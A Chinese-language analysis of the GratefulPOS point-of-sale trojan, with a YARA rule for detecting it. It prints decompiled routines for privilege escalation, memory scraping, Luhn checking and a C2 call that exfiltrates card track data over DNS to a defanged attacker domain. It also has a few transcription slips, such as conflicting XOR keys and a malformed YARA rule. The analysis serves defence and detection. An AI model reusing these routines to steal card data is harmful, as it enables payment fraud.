深入逆向“GratefulPOS”销售终端恶意软件

 

关于POS恶意软件

POS恶意软件,其攻击的目标是运行着销售终端的物理设备,该系列恶意软件会检查进程的内存中是否有与信用卡数据(Track1Track2数据)结构相匹配的数据,例如账户号码、卡片使用期限,以及存储在磁条上的其他信息。在第一次刷卡之后,直到确认这些数据应发送到何处之前,个人账号(PAN)以及其他相关数据都会保存在内存中未加密的位置,这就给了POS恶意软件可乘之机。

 

关于GratefulPOS

GratefulPOS会伪装成远程接入软件LogMein,该软件疑似出现于2017年秋天购物季,并且根据VirusTotal的早期检测结果,该软件的反病毒软件检测率非常低。第一个样本于201711月被上传。此外,此恶意软件似乎与一些其他的POS恶意软件存在一定联系,同时也与一些在过去严重违规的商户存在关联。GratefulPOS恶意软件通过DNS与所谓的“grp1”活动标识符进行通信,并且在通信中包含调试的Track 2数据,我们推测其原因是用作测试。

 

恶意软件服务的安装及持久性

GratefulPOS恶意软件所做的第一件事,就是为自己创建一个持久性的服务。该恶意软件将自己伪装成一个名为“LogMeIn Hamachi Launcher”的进程,该进程看起来像是合法的,其名称简写为“LogMeInHamachi”。这里需要说明的是,LogMeIn Hamachi是一个虚拟私人网络(VPN)应用,可以在无需重新配置的前提下,为NAT防火墙后的计算机之间创建直接链接。这样一来,用户的计算机就可以直接被访问,而无需再依赖于互联网或者广域网。该VPN软件深受管理员和技术人员的喜爱,他们可能会需要远程登录到银行卡消费终端网络,以解决IT管理及网络问题。

该恶意软件的控制函数,包含四个函数:停止(stop)、启动(service)、安装(install)以及卸载(uninstall)。其中,安装函数会利用OpenSCManagerACreateServiceA来创建服务,并且其创建的服务描述为“为LogMeInHamachi服务提供启动功能”。除此之外,它还创建了一个名为“DLLLaunchasdf1”的唯一互斥锁。

字节字符串生成、使用0AAh作为密钥的XOR编码器

在整个执行过程中,恶意软件在循环*(&byte_memory ++) ^= 0x4Dh(经由movxorshlmovsxshl调用)中,经过XOR字节部分,从而生成一些容易引起注意的字符串,如下所示:

4060320344370557=19022010000068600000

ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com

SeDebugPrivilege

0.0.0.0

recv

send

通常,恶意软件编写着会建立字符串路径,来绕过一些静态的防病毒检测机制。值得注意的是,GratefulPOS恶意软件通过硬编码的XOR字节密钥,来混淆它窃取到的数据,如下所示:

*((_BYTE
*)value + iter) ^= 0AAh

并且,将其转换为十六进制,并添加到snprintf API调用中。使用的硬编码字节密钥是“0AAh”。除此之外,当恶意软件在对数据进行XOR操作时,还会检查硬编码的字符串数组。XOR密钥函数的位置如下所示:

-------
--------         

Address        Function


-------        --------


.text:004030DB notice_write_func  

.text:00403847 memory_parser 

.text:00403873 memory_parser 

.text:004039DE memory_parser     

.text:00406C43 computer_name_gen

 

内存刮取(Memory Scraping)调试特权

随后,POS恶意软件试图利用GetCurrentProcessOpenProcessTokenLookupPrivilegeValueAAdjustTokenPrivileges这些API调用的组合,来获取“SeDebugPrivilege”权限,用于进行内存分析。

int __cdecl sedebug_escalation(LPCSTR lpName)
{
  HANDLE v1; 
  int result; 
  DWORD ReturnLength; 
  HANDLE TokenHandle;
  struct _TOKEN_PRIVILEGES NewState;

  memset(&NewState, 0, 0x10u);                  // GratefulPOS obtain SeDebugPrivilege
  NewState.PrivilegeCount = 1;
  v1 = GetCurrentProcess();
  if ( OpenProcessToken(v1, 0xF01FFu, &TokenHandle) )
  {
    if ( LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges) )
    {
      NewState.Privileges[0].Attributes = 2;
      if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, &ReturnLength) )
      {
        CloseHandle(TokenHandle);
        result = 1;
      }
      else
      {
        CloseHandle(TokenHandle);
        result = 0;
      }
    }
    else
    {
      CloseHandle(TokenHandle);
      result = 0;
    }
  }
  else
  {
    result = 0;
  }
  return result;
}

 

客户端-服务器通信

恶意软件继续使用AllocateAndInitializeSidEqualSid检查SID,以查看它是否已经成功调用。如果返回调用等于“1”,那么恶意软件会复制并储存字符串“adm”(表示管理员权限)。否则,GratefulPOS复制并存储字符串“nadm”(表示没有管理员权限)。

 

最终,恶意软件将此信息作为ping.%s.%s.%s.%s的一部分,并将其作为第一个参数存储,以连接服务器ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com GET /index.php HTTP/1.0,其中的bot id是通过GetComputerNameA进行XOR,使用“0AAh”作为字节密钥,并转换成十六进制)。总之,恶意软件会在一个单独的线程中运行,并调用ServerPOS恶意软件在下一次调用Server时,会随机休眠2-3小时(rand() % 3600000 + 7200000)。在将数据发送到服务器时,GratefulPOS还会将可能的活动标识符作为“grp1”添加到请求中。值得注意的是,如果恶意软件读取到值为“cccc”,它会从系统中将自己移除。该恶意软件同时还会收集本地计算机名和本地IP地址。

signed int __cdecl get_http_resolve_func(int a1)
{
  signed int result; 
  char v2; 
  int v3; 
  int v4; 
  int v5; 
  int v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  char v11; 
  char v12; 

  v11 = 0;
  memset(&v12, 0, 0x7FFu);
  _snprintf(&v11, 2047u, "%s.%s.%s.%s", logmein_bid_value (bot_id), 'grp1', a1, &name);
  v10 = 0;
  v6 = 0;
  memset(&v2, 0, 0x20u);
  v3 = 0;
  v4 = 1;
  v5 = 17;
  v7 = call_c2((int)&v11, (int)"http", (int)&v2, (int)&v10);
  if ( v7 )
  {
    result = -1;
  }
  else
  {
    v8 = *(_DWORD *)(v10 + 24);
    v9 = *(_DWORD *)(v8 + 4);
    if ( v9 == 'cccc' )
      self_delete_func();
    func_6(v10);
    result = 0;
  }
  return result;

 

生成记录器文件和收集器文件

接下来,POS恶意软件会打开文件“logmein[.]bid”,此时它具有读取权限,并且会读取前10个字节。如果没有退出,它会创建一个“logmein[,]bid”文件,并且通过rand() % 255命令,来创建四个两位的0-255之间有符号整数,以十六进制表示。该生成的字符串,将会被伪装成系统的“.dat”文件,但实际上是作为数据窃取(exfiltration)的文件标记。

 

“刮取进程”函数中的白名单

然后,POS恶意软件通过CreateToolhelp32Snapshot获得当前运行的进程快照,并与内存刮取函数的白名单进行比较。白名单内的进程如下:

wininit.exe

services.exe

smss.exe

csrss.exe

winlogon.exe

sched.exe

lsass.exe

svchost.exe

conhost.exe

ctfmon.exe

spoolsv.exe

System

taskmgr.exe

explorer.exe

wmiprvse.exe

mdm.exe

chrome.exe

Chrome.exe

RegSrvc.exe

firefox.exe

这样做是为了排除已知与销售终端不相关的软件,从而缩短在内存中寻找Track数据的时间。

 

内存刮取的逻辑

GratefulPOS继续使用VirtualQueryEx读取缓冲区来读取进程的内存页,会一次性读取Buffer.State & 0x1000 && Buffer.Protect & 0xCC如果进程文件的路径长度为5个字符及以上,恶意软件也会进行比较。随后,POS恶意软件通过ReadProcessMemory API来扫描内存区域,查找Track1Track2数据。如果Track1Track2数据分别满足14060字符,那么会以“tt1.%s.%s.%s.%sTrack 1 data、“tt2.%s.%sTrack 2 data的格式,将其写入“.dat”文件中。恶意软件还会检查其是否可以到达服务器,并在多次尝试后删除窃取的数据。此外,GratefulPOS将“通知”添加到同一文件中,以标记调试器的输出结果。

我们监测到的请求数据结构如下:

[HOST_ID].grp1.ping.[ADMIN].[LOCAL_IP].[LOCAL_USERNAME].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

[HOST_ID].grp1.notice.[PROCESS_ATTACHED].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

[HOST_ID].grp1.tt1.[TRACK1_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

[HOST_ID].grp1.tt2.[TRACK2_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

 

Luhn算法

恶意软件还通过运行Luhn算法来验证卡的信息,以避免有错误的Track数据。其中,Track数据以4开头的是VISA,以5开头的是Mastercard,以6开头的是Discover,以34开头的是AMEX,以37开头的是AMEX,以36开头的是Diner’s Club,以300-305开头的是Diner’s Club

验证个人账号(PAN)有效性的Luhn函数如下:

BOOL __cdecl Luhn_Check(char *a1)
{
  size_t v1;
  int v3; 
  signed int v4; 
  signed int v5; 
  size_t v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  int v11; 
  int v12; 
  int v13;
  int v14;
  int v15; 
  int v16;

  v7 = 0;
  v8 = 2;
  v9 = 4;
  v10 = 6;
  v11 = 8;
  v12 = 1;
  v13 = 3;
  v14 = 5;
  v15 = 7;
  v16 = 9;
  v5 = 1;
  v4 = 0;
  v6 = strlen(a1);
  while ( 1 )
  {
    v1 = v6--;
    if ( !v1 )
      break;
    if ( v5 )
      v3 = a1[v6] - 48;
    else
      v3 = *(&v7 + a1[v6] - 48);
    v4 += v3;
    v5 = v5 == 0;
  }
  return v4 % 10 == 0;
}

 

自我删除的进程

恶意软件在读取到“cccc”指令后,会将其自身删除,并且删除相应的注册表项“LogMeIn Hamachi Launcher”。

 

Yara签名

rule crime_win32_gratefulpos_trojan {
        meta:
                description = "GratefulPOS malware variant"
                author = "@VK_Intel"
                reference = "Detects POS"
                date = "2017-12-10"
        strings:
                $s0 = "conhost.exe" fullword ascii
                $s1 = "del logmeinlauncher.exe" fullword ascii
                $s2 = "Chrome.exe" fullword ascii
                $s3 = "taskmgr.exe" fullword ascii
                $s4 = "firefox.exe" fullword ascii
                $s5 = "logmeinlauncher.exe stop" fullword ascii
                $s6 = "ping 1.1.1.1 -n 1 -w 3000 > nul" fullword ascii
                $s7 = "Ymscoree.dll" fullword wide
                $s8 = "LogMeInHamachi Process Launcher" fullword ascii
                $s9 = "sched.exe" fullword ascii
                $s10 = "wininit.exe" fullword ascii
                $s11 = "wmiprvse.exe" fullword ascii
                $s12 = "RegSrvc.exe" fullword ascii
                $s13 = "mdm.exe" fullword ascii
                $s14 = "GET /index.php HTTP/1.0" fullword ascii
                $s15 = "LogMeIn Hamachi Launcher" fullword ascii
                $s16 = "logmein.bid" fullword ascii
                $s17 = "del sd.bat" fullword ascii
                $s`8 = "sd.bat" fullword ascii
        condition:
                uint16(0) == 0x5a4d and filesize < 500KB and 10 of them
(完)